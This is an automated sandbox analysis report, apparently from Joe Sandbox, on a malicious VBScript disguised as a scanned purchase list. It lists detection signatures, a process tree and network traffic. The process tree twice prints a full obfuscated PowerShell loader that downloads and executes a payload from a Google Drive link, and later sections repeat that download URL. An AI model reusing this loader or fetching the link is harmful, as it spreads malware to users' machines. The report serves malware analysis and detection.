Edit tour

Windows Analysis Report
Scanned Purchase List.vbs

Overview

General Information

Sample name:	Scanned Purchase List.vbs
Analysis ID:	1523158
MD5:	15b5b581555ff3e269c973f152f71cf6
SHA1:	b192825801c73167464fe4fdc71925b296379d24
SHA256:	24bddce898f1e7b3feb484483fe5bad7a29b95cdabef060ca7872d3ec3c2597f
Tags:	vbsuser-abuse_ch
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Yara detected Powershell download and execute

AI detected suspicious sample

Potential malicious VBS script found (suspicious strings)

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7348 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scanned Purchase List.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7444 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#selvhrdendes Opdrager Hjremarginerne Dundertaler #>;$Usolidere43='Councilmen';<#Herredmmer Plasmagenic Jdindernes suttene Korjambisk decelerationsbanen Udskejelser #>;$Dimit=$host.PrivateData;If ($Dimit) {$Pantagraphic++;}function doublecrossing($spisevgringer253){$Driftsbesparelse=$Gucki+$spisevgringer253.Length-$Pantagraphic;for( $Crunchingly=3;$Crunchingly -lt $Driftsbesparelse;$Crunchingly+=4){$Nikeno+=$spisevgringer253[$Crunchingly];}$Nikeno;}function tramelling($Perhapses){ & ($boligydelsen) ($Perhapses);}$sortkldt=doublecrossing 'talM ,fospazLociDatls il Kna D,/Asy5 ke.Ind0Res Lo,(svaW oiHornfordf noanswA ss sm CoN,jrT s. Art1Epa0so,.vet0,ie;P r shoWpasi enA.y6D g4Hav;C b seexLtr6De 4 lo;Mis oerChev ,r: Ud1Ans2tra1Fer.Ri.0Unl)Les ChaG FrestocNe kUndo Ar/sor2Mur0.au1Lok0 F 0Zef1Pso0 Do1 Pr IdFEmiiVenrTegeModf umocanx a/E.i1Out2Ung1Mos. n0 A. ';$Panservaaben=doublecrossing ' s UDiss PaE AsR.lt- Unap lGTapeBjlnOlet r ';$Encheson=doublecrossing 'Gyrh aatP ntPespKnas Ti:Beh/ i/Le d T.rFrai RevFrieImp. s g Inosl.oMosg Jal steHys.RencAngomidmUn,/ vuPercWhe? Kne ndx stp ero rrct tplu=Pred H,ostiwpannsy,lIm oBriaEssd il&KaliF,idE f=h s1LanO DuQTyrEB rlAcc7OveU ,aGsulOPipyUncKsids VaPDecd ,aR npJ Gr9Dis1 eng L wH mqst os,rI ifV T NLinNindRLinsJea6stiPOmbVFur9 ti4Bri ';$Dioxid=doublecrossing ' s.>Fib ';$boligydelsen=doublecrossing 's aistoeAppxs m ';$Manducation='springklaps';$Drinksenes='\Paralytical.Nap';tramelling (doublecrossing 'Otu$Ar gstjl,hooEf.bCl,aCavlBev:Gerc R o Fiu RinepotsaceCamrEvaaLnorBregGr u eelimsVis=Egy$WooeJ.nn olvs l:MedaDmppTw.pPred aaasyrtMaravu.+ yk$ M DHipr eliKilnpeakskasNonepitnPhaeTilsFur ');tramelling (doublecrossing ',or$sozg emlD ro KebA taUnilPra:AcrsI vtImpyG,irE otBindManyRookFa kU ceButr Ln=Pol$ AtEAman.ykcBilhIndes.hsKeeoJobn Pa.Tyns ekpsy,lsleiAb tHav(Bil$ svD.eyiUngoCruxPleiDord To) sc ');tramelling (doublecrossing 'Maw[DifNCamestrtTer.kilsV,le sir Mev FaiBescDaweFerPTheoHypiUndnso.tNskM s.a M ns,maspegsameRidr K ] a: on:Na.sdove ApcHabuPa.r ,riJart apyskuPst,rA coskatA koF,lcAn o NelNon n= Nu kv[ ndNR aeQuatCo . VasPite BacstousynrA gisartLgtyOplPNerrTrao TrtBndoGlucHe oCyclAlaTR gyEkspsa e d]Avo:F r: phTNonlMarsP,e1s o2Idi ');$Encheson=$styrtdykker[0];$Northwardly=(doublecrossing ' Ou$sogGs mLPlaONonBTerAGlaL Or:steLIntIs oGUn H ktT p,a MtGForesl.6 Ma8s,v=optnAarE BawPar-TheostaBMilJIfaE HoC UvTnon EarsF rYLa.s.potFeeED lMHov.DelNK aE untFor.OvewJonEA,sbOplCGelL KeIsenePs nAndT sp ');tramelling ($Northwardly);tramelling (doublecrossing ' Cr$DiaLRe iDkfgL phEmutAfkaRidgEnfeFre6Til8Cir.MarHOvaePa asa.dVapestar sesFag[ un$ConPToraVo n D sBl eConrP lv TuaRa ashob Ade AnnCem].as= p$At s Kao.ntrPhotFikky pltrid K tMis ');$semicolloquially=doublecrossing ' F $.oaLHlei N gRovhReitMi as ng PreBad6Ur.8Fum.strDTypo Prwsydn rulozooAu aFerdan FBetiB ml beeMyo(Pse$ onEOffn Unc mohInceKorsCicoaftnser,sep$C,aB EmiPunl Asl s aU raNonn ineBaltA asD.t) su ';$Billaanets=$counterargues;tramelling (doublecrossing ' or$BilGBomLEneoB tbslaaBorlThr:r taPolP InoBo.CKa rIndiFugs riiTemA RaRElsY.al=Bar(T lTsquemars stT.ar-H.aP DraRabTRekHUns Ve $FisbOphIfreLM.nL saa LoAProNslaEsuktValsUni) h ');while (!$Apocrisiary) {tramelling (doublecrossing 'But$kurgAn,lLabo eb omaUnplHay:Rare tuuRovpQuah,oro P r BebKopiUndaMsslMaa=End$PretskorT auAc e ca ') ;tramelling $semicolloquially;tramelling (doublecrossing 'Ejesne tAn a inrHeatCol-BrassamlUnde epeNatpDag Ove4Des ');tramelling (doublecrossing 'Hil$ Img flsk oConbmisaDenlFra:MasA edpEnaoEkscPr,rBesiYo.sCrei Coa Vgr LuyA t=sun(K lTIngeAngsF,etGen- F.PProajawt M,hUrt Uni$sa Bskai VelDefls aaD pa O n oeMu.tG as wh)ste ') ;tramelling (doublecrossing ' W.$ m g KolUddoArab onaAu l re: spEs unNa.est rsikg.isieftmI fnDdsg HjdstueN n=Ord$ TygCollNaroTrubLeuaGullLyd:FalTP,oiTypdA bsA phFo.o scr U,i ResBisoGran.omt Wase b+ Di+fo %Dre$EnhsOmvtAs,yOpdr astEpidDy,yFl.kLyckFale efrUnd..emcManospruFusnDyrtsk, ') ;$Encheson=$styrtdykker[$Energimngde];}$Arthriticine=282118;$sorteringsordenen=30262;tramelling (doublecrossing 'Pl.$WabgCenlslaoLeubFraa jal t : g.Osi.mBets ortGloy U.rProtPseeHyptEpi slv=Bai st G Alesutt.xa-sacC PtoPosnP ntHa.eLu.n cetC.e Br$ .tBen,i amlPral leaBliasarnOldeMontEkss Di ');tramelling (doublecrossing 'sty$salg Auls po ekb abaph lOpe:,arsso.t pioBard CodGene ajrFlikVano PrnspigE ee phnU d Ext=E e mi.[Mi sTepyFlysOlitTaveKipm.ol. emCspyosannFunv HaeAmpr CotOm ]B,g:Beg:VouFD,nr.etoUnwmscrBsc aKapsLuneUpp6Pis4 Hos TwtIntrCh iAfgnraagTer(Kam$EmpOB.omAmbssket piyJu r,ret R eApptAld) sl ');tramelling (doublecrossing 'Fi $,mmgjo l skoPosb O.asunl i:by,NKo,o C tD ma.xmrsc iBoazKomisarnRefgB.a Ma=Euc Unc[ HasD nyTemsBettBiseFlamM k.RomTI seDisxambtBlo.WigEOs nDigcBabo Pad PliAfsnTimgTik],kr:De : slAFars ReCUnuIsamI.ta. H,G .reEsttConsCymtU ora,visa nHoggInf(ye $Fr s ngt A,oBledAardRe e MorInskVagoF,dnMicgAlleCatnall) Re ');tramelling (doublecrossing 'Mya$ eg ypl,kooU sb.oua.hol gn:TreC,ighsweuLancCsuk ,oyse.=Lio$Mi NPasoO.ltBloa C ra si DizAfkiNo n.argskr.AmpsNymu U,b sksGr tTv,rDiviseenmaagFor(T.e$,arA FurstytIndhBelrTiliNontGenis.lc nistyn,tiePha,bin$ ous,eaoKonr T,tMeleKokrHo iLinnEntgTilsshaoBarr MadKroe Ben AceNo n T ) ka ');tramelling $Chucky;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7444	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7444.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scanned Purchase List.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scanned Purchase List.vbs", CommandLine|base64offset|contains: >, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scanned Purchase List.vbs", ProcessId: 7348, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scanned Purchase List.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scanned Purchase List.vbs", CommandLine|base64offset|contains: >, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scanned Purchase List.vbs", ProcessId: 7348, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#selvhrdendes Opdrager Hjremarginerne Dundertaler #>;$Usolidere43='Councilmen';<#Herredmmer Plasmagenic Jdindernes suttene Korjambisk decelerationsbanen Udskejelser #>;$Dimit=$host.PrivateData;If ($Dimit) {$Pantagraphic++;}function doublecrossing($spisevgringer253){$Driftsbesparelse=$Gucki+$spisevgringer253.Length-$Pantagraphic;for( $Crunchingly=3;$Crunchingly -lt $Driftsbesparelse;$Crunchingly+=4){$Nikeno+=$spisevgringer253[$Crunchingly];}$Nikeno;}function tramelling($Perhapses){ & ($boligydelsen) ($Perhapses);}$sortkldt=doublecrossing 'talM ,fospazLociDatls il Kna D,/Asy5 ke.Ind0Res Lo,(svaW oiHornfordf noanswA ss sm CoN,jrT s. Art1Epa0so,.vet0,ie;P r shoWpasi enA.y6D g4Hav;C b seexLtr6De 4 lo;Mis oerChev ,r: Ud1Ans2tra1Fer.Ri.0Unl)Les ChaG FrestocNe kUndo Ar/sor2Mur0.au1Lok0 F 0Zef1Pso0 Do1 Pr IdFEmiiVenrTegeModf umocanx a/E.i1Out2Ung1Mos. n0 A. ';$Panservaaben=doublecrossing ' s UDiss PaE AsR.lt- Unap lGTapeBjlnOlet r ';$Encheson=doublecrossing 'Gyrh aatP ntPespKnas Ti:Beh/ i/Le d T.rFrai RevFrieImp. s g Inosl.oMosg Jal steHys.RencAngomidmUn,/ vuPercWhe? Kne ndx stp ero rrct tplu=Pred H,ostiwpannsy,lIm oBriaEssd il&KaliF,idE f=h s1LanO DuQTyrEB rlAcc7OveU ,aGsulOPipyUncKsids VaPDecd ,aR npJ Gr9Dis1 eng L wH mqst os,rI ifV T NLinNindRLinsJea6stiPOmbVFur9 ti4Bri ';$Dioxid=doublecrossing ' s.>Fib ';$boligydelsen=doublecrossing 's aistoeAppxs m ';$Manducation='springklaps';$Drinksenes='\Paralytical.Nap';tramelling (doublecrossing 'Otu$Ar gstjl,hooEf.bCl,aCavlBev:Gerc R o Fiu RinepotsaceCamrEvaaLnorBregGr u eelimsVis=Egy$WooeJ.nn olvs l:MedaDmppTw.pPred aaasyrtMaravu.+ yk$ M DHipr eliKilnpeakskasNonepitnPhaeTilsFur ');tramelling (doublecrossing ',or$sozg emlD ro KebA taUnilPra:AcrsI vtImpyG,irE otBindManyRookFa kU ceButr Ln=Pol$ AtEAman.ykcBilhIndes.hsKeeoJobn Pa.Tyns ekpsy,lsleiAb tHav(Bil$ svD.eyiUngoCruxPleiDord To) sc ');tramelling (doublecrossing 'Maw[DifNCamestrtTer.kilsV,le sir Mev FaiBescDaweFerPTheoHypiUndnso.tNskM s.a M ns,maspegsameRidr K ] a: on:Na.sdove ApcHabuPa.r ,riJart apyskuPst,rA coskatA koF,lcAn o NelNon n= Nu kv[ ndNR aeQuatCo . VasPite BacstousynrA gisartLgtyOplPNerrTrao TrtBndoGlucHe oCyclAlaTR gyEkspsa e d]Avo:F r: phTNonlMarsP,e1s o2Idi ');$Encheson=$styrtdykker[0];$Northwardly=(doublecrossing ' Ou$sogGs mLPlaONonBTerAGlaL Or:steLIntIs oGUn H ktT p,a MtGForesl.6 Ma8s,v=optnAarE BawPar-TheostaBMilJIfaE HoC UvTnon EarsF rYLa.s.potFeeED lMHov.DelNK aE untFor.OvewJonEA,sbOplCGelL KeIsenePs nAndT sp ');tramelling ($Northwardly);tramelling (doublecrossing ' Cr$DiaLRe iDkfgL phEmutAfkaRidgEnfeFre6Til8Cir.MarHOvaePa asa.dVapestar sesFag[ un$ConPToraVo n D sBl eConrP lv TuaRa ashob Ade AnnCem].as= p$At s Kao.ntrPhotFikky pltrid K tMis ');$semicolloquially=doublecrossing ' F $.oaLHlei N gRovhReitMi as ng PreBad6Ur.8Fum.strDTypo Prwsydn rulozooAu aFerdan FBetiB ml beeMyo(Pse$ onEOffn Unc mohInceKorsCicoaftnser,sep$C,aB EmiPunl Asl s aU raNonn ineBaltA as

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:45:54.091474+0200	2803305	3	Unknown Traffic	192.168.2.4	49737	142.250.185.142	443	TCP
2024-10-01T07:46:14.480901+0200	2803305	3	Unknown Traffic	192.168.2.4	49746	142.250.185.142	443	TCP
2024-10-01T07:46:19.571212+0200	2803305	3	Unknown Traffic	192.168.2.4	49747	142.250.185.142	443	TCP
2024-10-01T07:46:24.654203+0200	2803305	3	Unknown Traffic	192.168.2.4	49748	142.250.185.142	443	TCP
2024-10-01T07:46:40.297941+0200	2803305	3	Unknown Traffic	192.168.2.4	49754	142.250.185.142	443	TCP
2024-10-01T07:47:00.922546+0200	2803305	3	Unknown Traffic	192.168.2.4	49759	142.250.185.142	443	TCP
2024-10-01T07:47:05.956043+0200	2803305	3	Unknown Traffic	192.168.2.4	49760	142.250.185.142	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Scanned Purchase List.vbs

Virustotal: Detection: 12%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 81.4% probability

Source: unknown	HTTPS traffic detected: 142.250.184.238:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.2.4:49763 version: TLS 1.2

Source:	Binary string: .pdb_ source: powershell.exe, 00000001.00000002.3012431445.000001ADE7E24000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32W source: powershell.exe, 00000001.00000002.3012431445.000001ADE7E24000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ystem.Core.pdb, source: powershell.exe, 00000001.00000002.3012431445.000001ADE7DC9000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49759 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49746 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49737 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49747 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49754 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49748 -> 142.250.185.142:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.usercontent.google.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.com
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94 HTTP/1.1Host: drive.google.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 01 Oct 2024 05:45:42 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-q8oJJG7lrmgUDLiilGDf0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: 